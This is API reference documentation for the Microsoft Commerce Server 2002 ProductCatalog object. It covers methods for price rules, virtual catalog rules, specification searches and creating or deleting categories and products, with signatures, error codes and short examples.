This method adds the specified language to the list of languages supported by the catalog. It will use default values if default values are specified for the property and language.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.AddLanguage("FRA")

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::AddPriceRule Method [C++]

ProductCatalog.AddPriceRule Method [Visual Basic]

Use this method to add a price rule for a specific product or category to a virtual catalog. This method applies only to virtual catalogs.

Definition

[C++]
HRESULT IProductCatalog3::AddPriceRule(
  CatalogCustomPriceEnum eCustomPricingRule,
  double fpCustomPrice,
  VARIANT vrProductIDOrCategoryName,
  VARIANT vrVariantID,
  VARIANT_BOOL fCategory
);
[Visual Basic]
Sub AddPriceRule(
  eCustomPricingRule As CatalogCustomPriceEnum,
  fpCustomPrice As Double,
  vrProductIDOrCategoryName As Variant,
  Optional vrVariantID As Variant,
  Optional fCategory As Boolean
)

Parameters

eCustomPricingRule [C++]
[in] A CatalogCustomPriceEnum enumeration that specifies the type of pricing rule. See the Remarks section for valid values.
eCustomPricingRule [Visual Basic]
A CatalogCustomPriceEnum enumeration that specifies the type of pricing rule. See the Remarks section for valid values.
fpCustomPrice [C++]
[in] A double (8-byte floating point number) that contains the amount of the price adjustment.
fpCustomPrice [Visual Basic]
A Double that contains the amount of the price adjustment.
vrProductIDOrCategoryName [C++]
[in] A VARIANT that contains the product ID or category name to which the rule applies.
vrProductIDOrCategoryName [Visual Basic]
A Variant that contains the product ID or category name to which the rule applies.
vrVariantID [C++]
[in, optional] A VARIANT that contains the variant ID, if the rule is specific to a variant.
vrVariantID [Visual Basic]
A Variant that contains the variant ID, if the rule is specific to a variant.
fCategory [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product.
fCategory [Visual Basic]
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True indicates a category. A value of False indicates a product. The default value is False (0).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VC_RULE_PARAM | [C++] 0x88980103 [Visual Basic] &H88980103 | The ProductID or CategoryName is invalid. The ProductID and CategoryName should be passed using the ProductID(CatalogName) or CategoryName(CatalogName) format.
E_CAT_VC_INVALID_ITEM | [C++] 0x889800FD [Visual Basic] &H889800FD | The specified product/category/variant could not be found in the base catalog.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the fCategory parameter is True and the vrProductIDOrCategoryName parameter is an empty string then the rule applies to the entire catalog.

Categories, products, and variant products specified in the parameters of this method must already be included in the virtual catalog.

The vrVariantID parameter is only valid for products. If it is supplied, it indicates that the rule should be applied for that variant only.

The following table shows the values of the CatalogCustomPriceEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscNoCustomPrice | 0 | The custom price is the same as the base price.
cscPercentageMultiplier | 1 | The custom price = base price + (base price * (pfpCustomPriceAmount /100)) pfpCustomPriceAmount can be positive or negative
cscAddFixedAmount | 2 | The custom price is the value in the parameter pfpCustomPriceAmount added to the base price.
cscReplacePrice | 3 | The custom price is the value in the parameter pfpCustomPriceAmount.
cscInvalidCustomPrice | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.AddPriceRule(eCustomPricingRule, fpCustomPrice, vrProductIDOrCategoryName, vrVariantID, fCategory)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::AddVirtualCatalogRule

[Visual Basic] ProductCatalog.AddVirtualCatalogRule


IProductCatalog3::AddSpecificationSearchClause Method [C++]

ProductCatalog.AddSpecificationSearchClause Method [Visual Basic]

Use this method to add constraints to a specification search of this catalog.

Definition

[C++]
HRESULT IProductCatalog3::AddSpecificationSearchClause(
 BSTR strClause,
 VARIANT* pstrSearchHandle
);
[Visual Basic]
Sub AddSpecificationSearchClause(
 strClause As String,
 pstrSearchHandle As Variant
)

Parameters

strClause [C++]
[in] A BSTR that contains the clause to be added to the specified specification search.
strClause [Visual Basic]
A String that contains the clause to be added to the specified specification search.
pstrSearchHandle [C++]
[in] A VARIANT that contains the state of the specification search to which the clause will be added.
[out] A VARIANT used to return the updated state of the specification search.
pstrSearchHandle [Visual Basic]
A Variant that contains the state of the specification search to which the clause will be added. This variant is also used to return the updated state of the specification search.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C++] 0x8898010D [Visual Basic] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2).

Remarks

[C++] Upon successful completion, the pstrSearchHandle parameter will contain the name of the updated specification search.

The specification clause contained in the strClause parameter will be appended to the existing clauses and sent to SQL Server without any changes when the specification search is performed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.AddSpecificationSearchClause strClause, pstrSearchHandle

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::BeginSpecificationSearch

[Visual Basic] ProductCatalog.BeginSpecificationSearch

[C++] IProductCatalog3::GetSpecificationSearchClauses

[Visual Basic] ProductCatalog.GetSpecificationSearchClauses

[C++] IProductCatalog3::PerformSpecificationSearch

[Visual Basic] ProductCatalog.PerformSpecificationSearch


IProductCatalog3::AddVirtualCatalogRule Method [C++]

ProductCatalog.AddVirtualCatalogRule Method [Visual Basic]

Use this method to add an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current virtual catalog. This method applies only to virtual catalogs.

Definition

[C++]
HRESULT IProductCatalog3::AddVirtualCatalogRule(
  BSTR strCatalogName,
  VARIANT vrProductIDOrCategoryName,
  VARIANT vrVariantID,
  VARIANT_BOOL fCategory,
  VARIANT_BOOL fExclusion
);
[Visual Basic]
Sub AddVirtualCatalogRule(
  strCatalogName As String,
  vrProductIDOrCategoryName As Variant,
  Optional vrVariantID As Variant,
  Optional fCategory As Boolean,
  Optional fExclusion As Boolean
[in, optional] VARIANT vrVariantID, )

Parameters

strCatalogName [C++]
[in] A BSTR that contains the catalog name.
strCatalogName [Visual Basic]
A String that contains the catalog name.
vrProductIDOrCategoryName [C++]
[in] A VARIANT that contains the product ID or category name to which the rule applies.
vrProductIDOrCategoryName [Visual Basic]
A Variant that contains the product ID or category name to which the rule applies.
vrVariantID [C++]
[in, optional] A VARIANT that contains the variant ID to which the rule applies.
vrVariantID [Visual Basic]
A Variant that contains the variant ID to which the rule applies.
fCategory [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product.
fCategory [Visual Basic]
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).
fExclusion [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether this is an inclusion or exclusion rule. A value of True (-1) indicates an exclusion rule. A value of False (0) indicates an inclusion rule.
fExclusion [Visual Basic]
A Boolean that specifies whether this is an inclusion or exclusion rule. A value of True indicates an exclusion rule. A value of False indicates an inclusion rule. The default value is False.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C++] 0x889800FD [Visual Basic] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_TOO_MANY_BASECATALOGS | [C++] 0x88980106 [Visual Basic] &H88980106 | The limit (84) on the maximum number of base catalogs that can be included in a virtual catalog has been exceeded.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the fCategory parameter is True and the vrProductIDOrCategoryName parameter is an empty string, then the entire catalog will be included.

Exclusion rules always override inclusion rules. If you exclude a category you cannot include any category or product contained within that category. Conversely, you can exclude any category or product contained within a category you have included.

If a value is provided for the vrVariantID parameter, then the rule will apply only to that variant of the product. If any variant of a product is included, then the product will be implicitly included. It is not possible to have variant without a parent product.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' You have a "Shoe" catalog.
' It contains "Mens","Womens", and "Kids" categories.
' Each category contains categories for dress, casual, and sports.
'   For example "Mens sports"

' The following rules result in including men's and women's categories
' with their dress and casual subcategories.
' This could also be done using inclusion rules only.

myVCatalog.AddVirtualCatalogRule("Shoe", "Mens",, True, False)
myVCatalog.AddVirtualCatalogRule("Shoe", "Womens",, True, False)
myVCatalog.AddVirtualCatalogRule("Shoe", "Mens sports",, True, True)
myVCatalog.AddVirtualCatalogRule("Shoe", "Womens sports",, True, True)

'The following rules result in including the full "Mens" and "Womens" categories by including the catalog and excluding the "Kids" category.

myVCatalog.AddVirtualCatalogRule("Shoe", "",, True, False)
myVCatalog.AddVirtualCatalogRule("Shoe", "Kids",, True, True)

' If you then tried to include the Kids dress category as in:
'   AddVirtualCatalogRule("Shoe", "Kids dress",, True, False)
'   the method would return an error.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::BeginSpecificationSearch Method [C++]

ProductCatalog.BeginSpecificationSearch Method [Visual Basic]

Use this method to initialize a specification search of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::BeginSpecificationSearch(
  BSTR strCategoryName,
  VARIANT* pRSInitialPropValuesList,
  VARIANT* plTotalRecordsAvailable,
  BSTR* pstrSearchHandle
);
[Visual Basic]
Function BeginSpecificationSearch(
  strCategoryName As String,
  Optional pRSInitialPropValuesList As Variant,
  Optional plTotalRecordsAvailable As Variant
) As String

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category in which to search.
strCategoryName [Visual Basic]
A String that contains the name of the category in which to search.
pRSInitialPropValuesList [C++]
[out, optional] A pointer to a VARIANT used to return the recordset of initial property values.
pRSInitialPropValuesList [Visual Basic]
A Variant used to return the recordset of initial property values.
plTotalRecordsAvailable [C++]
[out, optional] A pointer to a VARIANT used to return the total records available.
plTotalRecordsAvailable [Visual Basic]
A Variant used to return the total records available.
pstrSearchHandle [C++]
[out, retval] A BSTR used to return the state of the specification search.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the state of this specification search.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid.
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011D [Visual Basic] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C++] 0x88980049 [Visual Basic] &H88980049 | The category you specified does not exists or is not marked as Specification searchable.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pRSInitialPropValuesList and pstrSearchHandle parameters contain valid data only if the method was accessed successfully.

The optional parameter pRSInitialPropValuesList is a single row recordset. The returned recordset contains one field for each searchable property for the products under the specified category. Each field contains a SAFEARRAY. Each SAFEARRAY contains a set of all the distinct values found in all the products under that category. Only the properties that are marked as searchable are returned in the recordset.

If all the searchable properties contain NULL values then the pRSInitialPropValuesList parameter will be set to NULL and the plTotalRecordsAvailable parameter will be zero (0).

A category can be marked as searchable by setting the IsSearchable property to True.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'
strSearchHandle = myProductCatalog.BeginSpecificationSearch(strCategoryName, pRSInitialPropValuesList)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::AddSpecificationSearchClause

[Visual Basic] ProductCatalog.AddSpecificationSearchClause

[C++] IProductCatalog3::GetSpecificationSearchClauses

[Visual Basic] ProductCatalog.GetSpecificationSearchClauses

[C++] IProductCatalog3::PerformSpecificationSearch

[Visual Basic] ProductCatalog.PerformSpecificationSearch


IProductCatalog3::CreateCategory Method [C++]

ProductCatalog.CreateCategory Method [Visual Basic]

Use this method to create a new category.

Definition

[C++]
HRESULT IProductCatalog3::CreateCategory(
 BSTR strDefinitionName,
 BSTR strCategoryName,
 VARIANT strParentCategoryName,
 VARIANT fIsSpecificationSearchable,
 ICategory3** ppCategory
);
[Visual Basic]
Function CreateCategory(
 strDefinitioName As String,
 strCategoryName As String,
 Optional strParentCategoryName As Variant,
 Optional fIsSpecificationSearchable As Variant
) As Category

Parameters

strDefinitioName [C++]
[in] A BSTR that contains the name of the category definition on which the category is based.
strDefinitioName [Visual Basic]
A String that contains the name of the category definition on which the category is based.
strCategoryName [C++]
[in] A BSTR that contains the name of the category to be created.
strCategoryName [Visual Basic]
A String that contains the name of the category to be created.
strParentCategoryName [C++]
[in, optional] A VARIANT that contains the name of the category that will be a parent to this new category, if any.
strParentCategoryName [Visual Basic]
A Variant that contains the name of the category that will be a parent to this new category, if any.
IsSpecificationSearchable [C++]
[in, optional] A VARIANT that determines whether or not this category is to be specification searchable.
fIsSpecificationSearchable [Visual Basic]
A Variant that determines whether or not this category is to be specification searchable.
ppCategory [C++]
[out, retval] A pointer to a Category object used to return the newly created category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the newly created Category object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid..
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800EA [Visual Basic] &H889800EA | The definition name that you specified is invalid. definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000B [Visual Basic] &H8898000B | The definition you specified does not exist.
E_CAT_PRODUCT_DEFN_FOR_CATEGORY | [C++] 0x8898004B [Visual Basic] &H8898004B | The definition name that you specified is a product definition. This definition cannot be used to create the category.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_CATEGORY_EXISTS | [C++] 0x8898001D [Visual Basic] &H8898001D | The category you specified already exists.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppCategory parameter contains valid data only if the method was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET oMyCategory = myProductCatalog.CreateCategory("BasicCategoryDefinition", "T-Shirts", "Apparel", TRUE)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::GetCategory

[Visual Basic] ProductCatalog.GetCategory

[C++] IProductCatalog3::DeleteCategory

[Visual Basic] ProductCatalog.DeleteCategory


IProductCatalog3::CreateCustomCatalog Method [C++]

ProductCatalog.CreateCustomCatalog Method [Visual Basic]

The CreateCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::DeleteCustomCatalog

[Visual Basic] ProductCatalog.DeleteCustomCatalog

[C++] IProductCatalog3::GenerateCustomCatalog

[Visual Basic] ProductCatalog.GenerateCustomCatalog

[C++] IProductCatalog3::SetCategoryCustomPrice

[Visual Basic] ProductCatalog.SetCategoryCustomPrice


IProductCatalog3::CreateProduct Method [C++]

ProductCatalog.CreateProduct Method [Visual Basic]

Use this method to create a new product within the catalog according to the specified parameters. This method cannot be used with virtual catalogs.

Definition

[C++]
HRESULT IProductCatalog3::CreateProduct(
 BSTR strDefinitionName,
 VARIANT varProductID,
 CURRENCY cyListPrice,
 VARIANT strParentCategoryName,
 IProduct3** ppProduct
);
[Visual Basic]
Function CreateProduct(
 strDefinitionName As String,
 varProductID As Variant,
 cyListPrice As Currency,
 Optional strParentCategoryName As Variant
) As Product

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the product definition for the product.
strDefinitionName [Visual Basic]
A String that contains the name of the product definition for the product.
varProductID [C++]
[in] A VARIANT that contains the unique product ID for the product to be created. The data type must match the property used to uniquely identify products in this catalog.
varProductID [Visual Basic]
A Variant that contains the unique product ID for the product to be created. The data type must match the property used to uniquely identify products in this catalog.
cyListPrice [C++]
[in] A CURRENCY object that contains the list price of the product to be created.
cyListPrice [Visual Basic]
A Currency object that contains the list price of the product to be created.
strParentCategoryName [C++]
[in, optional] A VARIANT that contains the name of the category to be designated as the parent category of the product to be created.
strParentCategoryName [Visual Basic]
A Variant that contains the name of the category to be designated as the parent category of the product to be created.
ppProduct [C++]
[out, retval] A pointer to a Product object used to return the properties of the newly created product.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the Product object that was created.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &Hx889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid..
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800EA [Visual Basic] &Hx889800EA | The definition name that you specified is invalid. definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &Hx8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &Hx889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &Hx88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000B [Visual Basic] &H8898000B | The definition you specified does not exist.
E_CAT_CATEGORY_DEFN_FOR_PRODUCT | [C++] 0x8898004A [Visual Basic] &H8898004A | The definition name that you specified is a category definition. This definition cannot be used to create the product.
E_CAT_INVALID_PRODUCT_DEFINITION | [C++] 0x8898005F [Visual Basic] &Hx8898005F | The product definition you specified contains a variant property that is being used as the ProductID for this catalog.
E_CAT_PRODUCT_EXISTS | [C++] 0x8898001B [Visual Basic] &Hx8898001B | The product you specified already exists.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &Hx8898001C | The category you specified does not exist.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppProduct parameter contains valid data only if the method was accessed successfully.

A product family is a product that has variants.

The properties of the definition on which a new product is based will determine whether the product being created is a single product or a product family. If the definition used to create the product has variant properties, the newly created product will be a product family.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET oMyNewProduct = myProductCatalog.CreateProduct("BasicProduct", "SKU3004", cyListPrice, "Apparel")

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::DeleteProduct

[Visual Basic] ProductCatalog.DeleteProduct

[C++] IProductCatalog3::GetProduct

[Visual Basic] ProductCatalog.GetProduct


IProductCatalog3::DeleteCategory Method [C++]

ProductCatalog.DeleteCategory Method [Visual Basic]

Use this method to delete a category from the Product Catalog System.

Definition

[C++]
HRESULT IProductCatalog3::DeleteCategory(
 BSTR strCategoryName
);
[Visual Basic]
Sub DeleteCategory(
 strCategoryName As String
)

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be deleted.
strCategoryName [Visual Basic]
A String that contains the name of the category to be deleted.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_CANT_DELETE_INCLUDED_CATEGORY | [C++] 0x88980104 [Visual Basic] &H88980104 | The DeleteCategory method cannot be called for a virtual catalog's included categories.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Any products or categories that existed in the deleted category, but not in another category, will be orphaned. Categories will become root categories and products will become root products. For example: CategoryA and CategoryB are child categories of CategoryX. CategoryA is also a child of CategoryY. When CategoryX is deleted, CategoryB will become a root category, but CategoryA will not.

You cannot delete an inherited category from a virtual catalog. The following error will be returned: E_CAT_VC_CANT_DELETE_INCLUDED_CATEGORY "The DeleteCategory method cannot be called for a Virtual Catalog's included categories."

[Visual Basic] Deleted categories, like deleted products, are moved to the DeletedProducts table until the catalog is purged.

[C++] Deleted categories, like deleted products, are moved to the DeletedProducts table until the catalog is purged.

If a category is deleted from a base catalog that is included in a virtual catalog, it is not removed from the virtual catalog until the next time the virtual catalog and pricing rules are evaluated.

When a category in a base catalog is deleted and it is included in a virtual catalog, the virtual catalog is marked as dirty and will be updated the next time it is rebuilt.

[Visual Basic]

Example

myProductCatalog.DeleteCategory "Apparel"

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_RootCategories

[Visual Basic] ProductCatalog.RootCategories

[C++] IProductCatalog3::CreateCategory

[Visual Basic] ProductCatalog.CreateCategory

